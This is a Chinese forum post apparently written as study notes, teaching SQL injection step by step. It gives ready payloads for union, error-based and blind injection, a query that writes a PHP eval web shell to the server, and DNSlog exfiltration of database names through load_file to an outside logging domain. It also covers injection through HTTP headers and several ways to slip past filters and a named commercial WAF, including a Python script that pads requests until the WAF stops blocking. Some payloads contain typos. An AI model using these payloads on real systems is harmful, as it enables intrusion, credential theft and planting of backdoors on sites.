SQL注入

打印 上一主题 下一主题

主题 2039|帖子 2039|积分 6117

查询语句

SELECT 列名 from 表名;
SELECT * from 表名;*表现将表的数据全部输出
SELECT * from 表名 WHERE id=6(数字型)
SELECT * from 表名 WHERE id='6'(字符型)
union查询,利用union将两个查询语句连接起来(前后必须列数同等)
注入流程

1、判断注入点

2、判断是字符型还是数字型

做减法,id=2-1,数字型会盘算(页面改变),字符型不会运算(页面稳固);
3、判断闭合方式

可能的方式:
  1. 单引号,双引号,单引号+右括号,单引号+两个右括号
复制代码
在厥后加and 1=1大概and 1=2来判断闭合是否成功。
根据报错,看闭合方式,进行判断。
利用--+将后面的代码注释掉,从而不报错。
4、判断前面查询列数
根据前面的列数,保证本身后面构造的语句可以实验。
5、查询回显位
写一样列数的数字。
web网站只会把第一行的数据表现在网页上。将前面的指令转为负数即可。
6、查询库名
7、查询表名
8、查询列名
9、查询数据
函数

database();

查询库名。
group by 4

查询列数。
group_concat()

将多行酿成一行,小括号里加想要多行变一行的列名即可。
UNION注入

在information_schema数据库中会有tables和
查询表名

  1. select table_name from information_schema.tables<数据库.表名> where table_schema<存数据库名的列>=database()
复制代码
这样的语句只能查出一个表名。
利用group_concat()函数。
  1. select group_concat(table_name) from information_schema.tables<数据库.表名> where table_schema<存数据库名的列>=database()
复制代码
查询列名

  1. select group_concat(column_name)from information_schema.columns<数据库.表名> where table_schema<存数据库名的列>='security' and table_name='user'
复制代码
报错注入

没有回显位,有报错信息时利用
判断类型

直接尝试闭合来判断。
判断列数

正常利用。
查询库名

将database写错即可。
报错注入可以利用的函数


最常用的三个:
floor报错注入(最难)

floor报错注入完备语句:
  1. ?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,';',password) from userlimit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+
复制代码
rand()函数:生成0~1的随机数。rand()*2:生成0~2的随机数。select rand() from users:users表无作用,只是表里面有几列,生成几个随机数。
floor(1.6666)函数:将小数点后的部分舍弃,取整。
select floor(rand()*2) from users:结果只为0或1。
concat_ws(1,2,3)函数:用1将2和3连接起来(1,2,3表现三个参数)
  1. select concat_ws('-',database(),floor(rand()*2)) from users
复制代码
起别名:as 别名。group by XXX;对XXX分组。
  1. select concat_ws('-',database(),floor(rand()*2)) as benben from users group by benben
复制代码
count()函数:统计数量。
  1. select count(*),concat_ws('-',database(),floor(rand()*2)) as benben from users group by benben
  2. 执行可能报错,#1062 - Duplicate entry 'boke-1' for key '<group_key>'这是正常的报错信息。
复制代码
要让其始终报错,在rand中加入0即可。之后通过修改concat_ws的第二个参数即可通过报错获取信息。
  1. select count(*),concat_ws('-',database(),floor(rand(0)*2)) as a from information_schema.tables group by a
复制代码
extractValue()报错注入

包含两个参数,第一个参数:XML文档对象名称。第二个参数:路径。
比方:
  1. select extractvalue(doc,'/book/title') from xml;
复制代码
  1. selsect extractvalue(doc,concat('~',database())) from xml;
  2. 先执行database()函数,然后进行查询,报错会返回数据库名。
复制代码
注入语句:
  1. ?id=100' and 1=extractvalue(1,concat(0x7e,(select database()))) --+
复制代码
0x7e即波浪号。
  1. ?id=2' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
复制代码
具有局限性,一次只能回显32位。
解决办法:利用substring()函数:三个参数。第一个是查询的参数,第二个是从第几个开始,第三个是表现几位。
  1. ?id=2' union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(table_name),1,31) from information_schema.tables where table_schema='security')))--+
  2. 通过修改开始的地方多次输出再拼接即可。
复制代码
updateXml报错注入

updatexml()函数是对数据进行修改,三个参数,第一个是xml文档对象的名称,比方doc,第二个是路径,第三个是更换的数据。
报错原理:输入错误的第二个参数,即更改路径的符号
和extractvalue根本类似,修改第二个参数的内容即可。
盲注

类别:布尔盲注,时间盲注,报错盲注。
页面没有回显时进行盲注。
布尔盲注

web页面只返回真假两种类型,利用页面返回的不同,逐个猜解数据。
判断真假值:(单引号闭合情况下)
  1. ?id=1' and 1=1 --+      #真页面
  2. ?id=1' and 1=2 --+      #假页面
复制代码
ascii()函数:ASCII编码。将查到的字符转化为数字进行判断。
  1. ?id=1 and ascii(select database)=2 --+
复制代码
ascii只能转化一个字符,利用substr()函数控制每次输出一个字符。
  1. ?id=1 and ascii(substr((select database()),1,1))=2 --+    #查第一个字符
  2. ?id=1 and ascii(substr((select database()),2,1))=2 --+    #查第二个字符
复制代码
时间注入

页面只返回一个正常页面,利用页面响应时间不同,逐个猜解。
sleep()函数:参数为休眠时长,以秒为单元,可以为小数。
if(1,2,3)函数:三个参数,第一个参数是判断条件,第二个参数是条件为真时的实验,第三个是条件为假时的实验。
判断能否时间注入:查看页面响应时间,看是否实验指令。
  1. ?id=1' and sleep(3) --+
复制代码
注入语句:
  1. ?id=1 and if(ascii(substr(database(),1,1))=115,sleep(0),sleep(3)) --+
复制代码
SQL注入文件上传

目标:传本身想传的文件大概一句话木马。
利用下面命令来查看是否有读写文件权限。
  1. show variables like '%secure%'
复制代码
into outfile命令利用情况:服务器上可以写入文件夹的完备路径。
开始和初始流程类似,判断闭合,判断类型。
比方:
  1. ?id=1')) union select 1,"<?php @eval($_POST['password']);?>",3 into outfile "D:\\phpstudy_pro\\WWW\ben.php"--+
复制代码
D谁人路径是在WWW下新加一个ben.php文件。
DNSlog注入

算是一个盲注,不过服从会更高。必要有文件读写权限,和文件上传根本绑定,要么都行,要么都不行
手动注入

函数:load_file()
  1. select load_file("C:\\benben.txt");
复制代码
UNC路径
  1. select load_file("//(select database())ctfstu.com/123/benben.txt");
复制代码
会先实验select database()。查出数据库就会酿成:
  1. select load_file("//(securityctfstu.com/123/benben.txt");
复制代码
不用管能不能访问到文件,只需的到前面数据库的信息即可。
必要用的网站:
  1. http://ceye.io          进不去
  2. http://www.dnsiog.cn/   进不去
  3. https://eyes.sh/dns/    科学上网
复制代码
注入:
  1. ?id=1' and (select load_file(//(select database()).域名))--+
复制代码
  1. ?id=1' and (select load_file(concat("//",(select database()),".DNS路径/随意文件名")))--+
复制代码
结果:点击refresh record即可得到数据。

  1. ?id=1' and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema=database() limit(0,1)),".DNS路径/随意文件名")))--+
复制代码
limit函数用于控制输出,0,1表现从第一个开始,表现一个。
自动注入

github下载ADOOO/Dnslogsqlinj
注入指令:
  1. python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" --dbs           解析库名
复制代码
  1. python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" -D '数据库名' --tables          解析表名
复制代码
  1. python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" -D '数据库名' -T '表名' --columns         解析列名
复制代码
  1. python3 dnslogsql.py -u "http://ip/路径/index.php?id=1' and ({注入的语句放这里}) --+" -D '数据库名' -T '表名' -C '列名' --dump        解析数据
复制代码
POST注入

GET提交的万能密码:id=' or ''='
万能密码

账号:admin‘ or 1=1 #
密码随机输入即可。
除了提交方式不同,union注入,报错注入,盲注和GET类似。
HTTP头uagent注入

万能密码无法绕过验证,用户名无法注入。含有User-Angent。
利用BP抓包,修改User-Agent。一样平常为报错注入。
  1. User-Agent:1' or updataxml(1,concat(~,(select database())),3),2,3) #
复制代码
后面修改concat的第二个参数即可。
  1. User-Agent:' or updataxml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3),2,3) #
复制代码
  1. User-Agent:' or updataxml(1,concat(~,(select group_concat(colimn_name) from information_schema.columns where table_schema=database() and table_name='users')),3),2,3) #
复制代码
  1. User-Agent:' or updataxml(1,concat(~,(select concat(username,';',password) from users limit 0,1)),3),2,3) #
复制代码
HTTP头Referer注入

在Referer进行注入。
  1. Referer:' or extractvalue(1,concat('#',(select database())),2) #
复制代码
  1. Referer:' or extractvalue(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema=database()),2) #
复制代码
  1. Referer:' or extractvalue(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),2) #
复制代码
  1. Referer:' or extractvalue(1,concat('#',(select concat(username,';',password) from users limit 0,1)),2) #
复制代码
HTTP头cookie注入

  1. Cookie:uname=admin' order by 3#
复制代码
后续和union注入流程类似
常见过滤及绕过手法

注释符号过滤

无法得知有什么过滤,必要类似搭积木一样一点一点增长复杂度。
--,#,%23都被过滤。绕过方法:
手动多加一个单引号,把后面的源代码用单引号闭合起来,从而不用注释:
  1. ?id=1' and 1=1'
  2. ?id=1' and '1'='1
  3. ?id=1' union select 1,2,3 and 1=1'
复制代码
假如是数字型不必要考虑闭合。
判断字符型还是数字型:
  1. ?id=1 and 1=1   #正常页面
  2. ?id=1 and 1=2   #报错,数字型
  3. ?id=-1 union select 1,2,3   #不需要注释符号即可注入
复制代码
利用or大概and绕过
  1. ?id=1'order by 4 or '1'='1
  2. ?id=1'order by 4 and '1'='1
  3. ?id=-1' union select 1,(select database()),3 and '1'='1
复制代码
and和or的过滤



  • 大小写过滤
  1. ?id=1' anD 1=1--+
复制代码


  • 复写过滤的字符(双写绕过)
  1. ?id=1' anandd 1=1--+
复制代码


  • 用&&代替and,用||代替or
空格过滤



  • 用加号代替空格
  • 用url编码:%20,%09,%0A(换行符),%0C,%0D,%0B,%A0等。
  • 利用报错注入:
  1. ?id=1000'||extractvalue(1,concat('$',(database())))||'1'='1
  2. select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())
  3. 多用括号已达到不用空格的效果
复制代码
limit更换函数

mid()和substr()用法类似:
  1. ?id=1'||extractvalue(1,concat('$',(select(mid(group_concat(username,';',password),1,30))from(users))))||'1'='1
复制代码
表现前30个字符
逗号过滤join绕过

  1. ?id=-1 union select 1,2,3 --+
  2. 替换为,在相对应回显的地方修改自己为自己想查的东西
  3. ?id=-1 union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c --+
复制代码
JOIN的作用是将表内联起来。
union和select过滤



  • 在单词之间插入注释符号
un/**/ion


  • 大小写
  • 双写绕过
宽字节绕过

addslashes()函数,输入闭合符‘时,在’前加\变为没有功能性的字符,导致无法闭合。
当前数据库必须为GBKB编码,否则不能利用。
输入%df,\的URL编码是%5c,组成%df%5c,根据GBKB编码酿成了一个汉字,是的\失去作用。
  1. ?id=1%df' --+
复制代码
WAF绕过

测试WAF试要一点一点的写注入语句,不要一次性写完,从而更好的判断如何被过滤的。
WAF绕过常用方法



  • 注释
  1. 1、使用/*语句*/,其中的语句不会被执行。
复制代码
  1. 2、使用/*!语句*/,虽然被注释,但是其中的语句仍然会被执行。
复制代码
  1. 3、加版本号,/*!50000语句*/,50000代表5.00.00版本,代表5.00.00版本以上的会执行语句,以下的不会执行
复制代码


  • 空缺符



  • 特别符号
  • 编码
  • 更换

安全狗4.0.26550绕过思路

判断类型用减法大概利用异或
判断列数用group by。
绕过union select
  1. 使用union /*!90000benben*/ select
复制代码
此版本绕过
  1. ?id=1' union /*!90000b*/ select 1,2,group_concat(table_name) /*!90000b*/ from information_schema.tables where table_schema=database(/*!90000b*/)--+
复制代码
安全狗3.5.12048绕过

绕过union select

  1. ?id=-1' union --+b%0A select 1,2,3 --+
复制代码
相当于:
  1. ?id=-1' union --+b
  2. select 1,2,3 --+
复制代码
information_schema被过滤

更换为其他两张具有类似功能的表,如图。

  1. information_schema替换为
  2. sys.schema_table_statistics_with_buffer
  3. sys.x$ps_schema_table_statistics_io
复制代码
绕过join无列名报错注入


join报错注入拿列名语句:
  1. ?id=1' union --+b%0A select * from (select * from users as a join users as b using(id,username,password))c --+
  2. 相当于查询两次,就会有相同的列,报错会显示相同的列,将报错出来的列放进using,就会跳过此列,报错出下一个列。从而获取到列名。
复制代码
获取数据:
  1. ?id=?id=-1' union --+b%0A select 1,2,group_concat(username,password) --+b%0A from users --+
复制代码
超大数据包绕过

只能在POST提交里面用。
利用Python脚本做测试:
  1. import requests
  2. url = '放入URL'
  3. data = "id=-1' /**/ union select 1,2,3 --+"
  4. headers = {
  5.    'Host':'',
  6.    'User-Agent': '',
  7.    'Accept':'',
  8.    'Accept-Language':'',
  9.    'Accept-Encoding':'',
  10.    'DNT':'',
  11.    'Connection':'',
  12.    'Cookie':'',
  13.    'Upgrade-Insecure-Requests':'',
  14.    'Content-Type':'',
  15.    'Content-Length':'',
  16. }
  17. for i in range(1,1000):
  18.    m = '/*' + str('benben') * i + '*/'
  19.    #print(m)
  20.    data = "id=1" + m + "union select 1,2,database() --+"
  21.    res = requests.post(url,headers=headers,data=data).text
  22.    if 'qt-block-indent:0; text-indent' not in res:#单引号中的数据是触发安全狗后响应包内的特有的数据
  23.        print('[+] current userful payload length:',i)
  24.        break
  25.    else:
  26.        print ('{} not userful'.format(i))
复制代码
终极利用超大数据包去绕过。即安全狗不会在检测此数据。
分块传输绕过WAF(安全狗4.0.23137)

POST提交绕过WAF的一种方式。
将Transfer-Encoding:Chunked写在请求头的头部
  1. 将字段拆开:
  2. 1        字符长度
  3. i       字符
  4. 2       字符长度
  5. d=      字符
  6. 1       字符长度
  7. 2       字符
  8. 0       输入结束,下面必须留两个空格。
复制代码
通过这样的方法打乱所有的敏感单词,从而绕过WAF。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

河曲智叟

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表